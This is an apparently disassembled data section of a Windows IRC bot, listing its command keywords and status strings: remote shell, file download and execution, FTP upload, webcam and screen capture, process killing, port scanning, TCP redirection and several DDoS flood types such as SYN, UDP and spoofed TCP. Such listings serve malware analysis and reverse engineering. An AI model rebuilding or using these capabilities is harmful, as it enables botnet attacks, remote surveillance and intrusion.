unk_429E84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409468o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
; char asc_429EAC[]
asc_429EAC db '-' ; DATA XREF: sub_401ACD+796Do
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429ECC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD+7926o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
; char asc_429F1C[]
asc_429F1C db '-' ; DATA XREF: sub_401ACD:loc_409399o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F4C db 2Dh ; - ; DATA XREF: sub_401ACD+78C5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 10h
; char asc_429F70[]
asc_429F70 db '-' ; DATA XREF: sub_401ACD+7885o
db 3, 34h, 2
dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h
dd 2Eh
; char asc_429F8C[]
asc_429F8C db '-' ; DATA XREF: sub_401ACD+7803o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429FB0 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+7786o
dd 0
; char asc_429FC8[]
asc_429FC8 db '-' ; DATA XREF: sub_401ACD+7755o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
; char asc_42A008[]
asc_42A008 db '-' ; DATA XREF: sub_401ACD+76E6o
db 3, 34h, 2
dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh
dword_42A020 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_409140o
dd 746E6573h, 2Eh
unk_42A03C db 2Dh ; - ; DATA XREF: sub_401ACD+766Co
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
; char asc_42A05C[]
asc_42A05C db '-' ; DATA XREF: sub_401ACD+7630o
db 3, 34h, 2
dd 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh, 732520h
; char asc_42A074[]
asc_42A074 db '-' ; DATA XREF: sub_401ACD+7611o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 10h
; char asc_42A0A0[]
asc_42A0A0 db 0Ah,0 ; DATA XREF: sub_401ACD+75F9o
; sub_40F6B4+FBo ...
align 4
unk_42A0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+75CFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 4
unk_42A0C8 db 2Dh ; - ; DATA XREF: sub_401ACD+75C2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_42A0EC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 4
unk_42A12C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409015o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_42A16C db 2Dh ; - ; DATA XREF: sub_401ACD+753Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 4
; char aVideo[]
aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F87o
align 10h
; char asc_42A1A0[]
asc_42A1A0 db '-' ; DATA XREF: sub_401ACD:loc_408F74o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 4
unk_42A1D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Do
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
; char asc_42A20C[]
asc_42A20C db '-' ; DATA XREF: sub_401ACD+7490o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
; char aFrame[]
aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE6o
align 10h
; char asc_42A240[]
asc_42A240 db '-' ; DATA XREF: sub_401ACD+740Co
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
; char asc_42A268[]
asc_42A268 db '-' ; DATA XREF: sub_401ACD+73D9o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 10h
; char aDrivers[]
aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E59o
; char asc_42A298[]
asc_42A298 db '-' ; DATA XREF: sub_401ACD:loc_408E46o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_42A2D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
; char asc_42A304[]
asc_42A304 db '-' ; DATA XREF: sub_401ACD+7362o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
; char aScreen[]
aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFEo
align 4
; char asc_42A338[]
asc_42A338 db '-' ; DATA XREF: sub_401ACD+7319o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h
dd 0
; char asc_42A354[]
asc_42A354 db '-' ; DATA XREF: sub_401ACD+72D3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
; char asc_42A384[]
asc_42A384 db '-' ; DATA XREF: sub_401ACD+72B7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
; char asc_42A3AC[]
asc_42A3AC db '-' ; DATA XREF: sub_401ACD+720Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
unk_42A3CC db 2Dh ; - ; DATA XREF: sub_401ACD+71D6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_42A3EC db 2Dh ; - ; DATA XREF: sub_401ACD+7181o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_42A408 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401ACD+710Fo
; char aPartS_1[]
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+70D5o
; sub_401ACD+7C48o
align 4
unk_42A428 db 2Dh ; - ; DATA XREF: sub_401ACD+70B0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
; char aModeS_0[]
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Fo
align 10h
dword_42A450 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+7074o
dd 25203A29h, 73h
dword_42A46C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+7005o
dd 203A2973h, 7325h
; char aModeS[]
aModeS db 'MODE %s',0 ; DATA XREF: sub_401ACD+6FAAo
; char dword_42A490[]
dword_42A490 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6F7Ao
dd 203A2973h, 7325h
; char aJoinSS_0[]
aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_401ACD+6F01o
align 4
; char aS[]
aS db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6ECFo
; sub_401ACD+6F58o ...
align 10h
; char aPartS_0[]
aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401ACD+6E96o
dword_42A4C8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E85o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A504[]
asc_42A504 db '-' ; DATA XREF: sub_401ACD+6E16o
db 3, 34h, 2
dd 67726174h, 3023361h
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 10h
; char asc_42A530[]
asc_42A530 db '-' ; DATA XREF: sub_401ACD+6D86o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A56C[]
asc_42A56C db '-' ; DATA XREF: sub_401ACD+6D1Bo
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
; char asc_42A5A0[]
asc_42A5A0 db '-' ; DATA XREF: sub_401ACD:loc_408746o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
; char asc_42A5D4[]
asc_42A5D4 db '-' ; DATA XREF: sub_401ACD+6C3Eo
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h
dword_42A5EC dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401ACD:loc_408674o
; char aSSSS[]
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401ACD+6B63o
; sub_401ACD+6C15o ...
align 10h
; char asc_42A610[]
asc_42A610 db '-' ; DATA XREF: sub_401ACD:loc_4085D1o
db 3, 34h, 2
dd 61647075h, 3026574h
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A658 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AFAo
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
; char asc_42A694[]
asc_42A694 db '-' ; DATA XREF: sub_401ACD+6A8Bo
db 3, 34h, 2
dd 61647075h, 3026574h
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
; char aSS_exe[]
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E3o
align 4
dword_42A6CC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+6981o
dd 7325203Ah, 0
unk_42A6E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6976o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
; char asc_42A70C[]
asc_42A70C db '-' ; DATA XREF: sub_401ACD+68DCo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
; char asc_42A748[]
asc_42A748 db '-' ; DATA XREF: sub_401ACD+6866o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A778 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Co
; sub_401ACD:loc_409367o
; char asc_42A784[]
asc_42A784 db '-' ; DATA XREF: sub_401ACD+678Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A7A8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408235o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42A7E0 db 2Dh ; - ; DATA XREF: sub_401ACD+675Eo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A818[]
asc_42A818 db '-' ; DATA XREF: sub_401ACD+66EEo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A844 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Bo
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 10h
; char asc_42A880[]
asc_42A880 db '-' ; DATA XREF: sub_401ACD+65FCo
db 3, 34h, 2
dd 6E6F6C63h, 3027365h
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_42A8B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6583o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A8E8[]
asc_42A8E8 db '-' ; DATA XREF: sub_401ACD+6514o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A918 db 2Dh ; - ; DATA XREF: sub_401ACD+648Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char asc_42A950[]
asc_42A950 db '-' ; DATA XREF: sub_401ACD+641Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A980 db 2Dh ; - ; DATA XREF: sub_401ACD+63A2o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A9B8[]
asc_42A9B8 db '-' ; DATA XREF: sub_401ACD+6333o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A9F4 db 2Dh ; - ; DATA XREF: sub_401ACD+62BAo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
; char asc_42AA34[]
asc_42AA34 db '-' ; DATA XREF: sub_401ACD+624Bo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42AA60 db 2Dh ; - ; DATA XREF: sub_401ACD+617Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
; char asc_42AAA4[]
asc_42AAA4 db '-' ; DATA XREF: sub_401ACD+610Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
; char asc_42AAE0[]
asc_42AAE0 db '-' ; DATA XREF: sub_401ACD+6010o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
; char aSSS_0[]
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F64o
align 4
aSSS db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E87o
align 4
; char dword_42AB3C
dword_42AB3C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF3o
; sub_401ACD+715Bo
unk_42AB48 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
; char asc_42AB84[]
asc_42AB84 db '-' ; DATA XREF: sub_401ACD+5D20o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42ABD4 db 2Dh ; - ; DATA XREF: sub_401ACD+5C89o
; sub_401ACD+607Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0
align 4
; char asc_42AC0C[]
asc_42AC0C db '-' ; DATA XREF: sub_401ACD+5C1Ao
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_42AC74 db 2Dh ; - ; DATA XREF: sub_401ACD+5AA4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, no IP specified.',0
align 4
unk_42ACA8 db 2Dh ; - ; DATA XREF: sub_401ACD+5A47o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan, port is invalid.',0
align 4
; char asc_42ACDC[]
asc_42ACDC db '-' ; DATA XREF: sub_401ACD:loc_4073F4o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42AD0C db 2Dh ; - ; DATA XREF: sub_401ACD+5920o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5907o
; char aSS_2[]
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58F0o
align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CDo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
; char Mode[]
Mode db 'ab',0 ; DATA XREF: sub_401ACD+58A9o
; sub_411C14+4Eo
align 4
; char aSIII_dll[]
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5898o
align 4
unk_42AD7C db 2Dh ; - ; DATA XREF: sub_401ACD+584Eo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
; char aUpload[]
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Bo
align 4
; char asc_42ADA4[]
asc_42ADA4 db '-' ; DATA XREF: sub_401ACD+57F5o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
; char asc_42ADE4[]
asc_42ADE4 db '-' ; DATA XREF: sub_401ACD+5798o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42AE1C[]
asc_42AE1C db '-' ; DATA XREF: sub_401ACD+572Do
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+567Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
; char asc_42AE98[]
asc_42AE98 db '-' ; DATA XREF: sub_401ACD+5648o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42AECC db 2Dh ; - ; DATA XREF: sub_401ACD+5624o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
; char asc_42AF04[]
asc_42AF04 db '-' ; DATA XREF: sub_401ACD+5582o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
align 4
unk_42AF58 db 2Dh ; - ; DATA XREF: sub_401ACD+5550o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 10h
; char asc_42AF90[]
asc_42AF90 db '-' ; DATA XREF: sub_401ACD+54E1o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
; char asc_42AFD8[]
asc_42AFD8 db '-' ; DATA XREF: sub_401ACD:loc_406F00o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 10h
unk_42B010 db 2Dh ; - ; DATA XREF: sub_401ACD+5429o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42B048[]
asc_42B048 db '-' ; DATA XREF: sub_401ACD+53AFo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Fo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5398o
unk_42B08C db 2Dh ; - ; DATA XREF: sub_401ACD+52FDo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
; char aRandom_0[]
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52EDo
; sub_413E36+312o
align 10h
; char aAck[]
aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D6o
; sub_413E36+2F2o
; char aHcon[]
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+5260o
align 4
; char aHttpcon[]
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Do
; char asc_42B0D4[]
asc_42B0D4 db '-' ; DATA XREF: sub_401ACD+51FEo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
; char aHeloRndnickMai[]
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+518Ao
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
; char aEmail[]
aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Fo
align 4
; char aTcp[]
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5088o
; char aTcpflood[]
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5071o
align 4
; char aP[]
aP: ; DATA XREF: sub_401ACD+505Ao
; .data:00438308o ...
unicode 0, <p>,0
; char aPing_0[]
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5043o
align 4
; char aPingflood[]
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Co
align 4
; char aNs[]
aNs db 'ns',0 ; DATA XREF: sub_401ACD+5015o
align 4
; char aNetsend[]
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFEo
; char aU[]
aU: ; DATA XREF: sub_401ACD+4FE7o
; .data:00438300o ...
unicode 0, <u>,0
; char aUdp[]
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FD0o
; char aUdpflood[]
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB9o
align 4
; char aAdv[]
aAdv db 'adv',0 ; DATA XREF: sub_401ACD+4FA2o
; char aAdvscan[]
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Bo
; char aPsc[]
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F74o
; char aPortscan[]
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Do
align 10h
; char aC_a[]
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F37o
; char aC_action[]
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F20o
align 10h
; char aC_pm[]
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F09o
align 4
; char aC_privmsg[]
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF2o
align 4
; char aSc[]
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDBo
align 4
; char aScan_0[]
aScan_0 db 'scan',0 ; DATA XREF: sub_401ACD+4EC4o
align 10h
; char aRd[]
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EADo
align 4
; char aRedirect[]
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E96o
align 10h
; char aJpl10[]
aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Fo
align 4
; char aJpldg10[]
aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E68o
; char aWonk[]
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E51o
align 4
; char aPhatwonk[]
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E3Ao
align 4
dword_42B214 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Do
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char asc_42B250[]
asc_42B250 db '-' ; DATA XREF: sub_401ACD+4DBEo
db 3, 34h, 2
dd 73796B73h, 3026E79h
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
; char aSkysyn[]
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Bo
align 4
; char aSyn[]
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D24o
; sub_401ACD+52BEo ...
; char aSynflood[]
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Do
align 4
unk_42B298 db 2Dh ; - ; DATA XREF: sub_401ACD+4D00o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
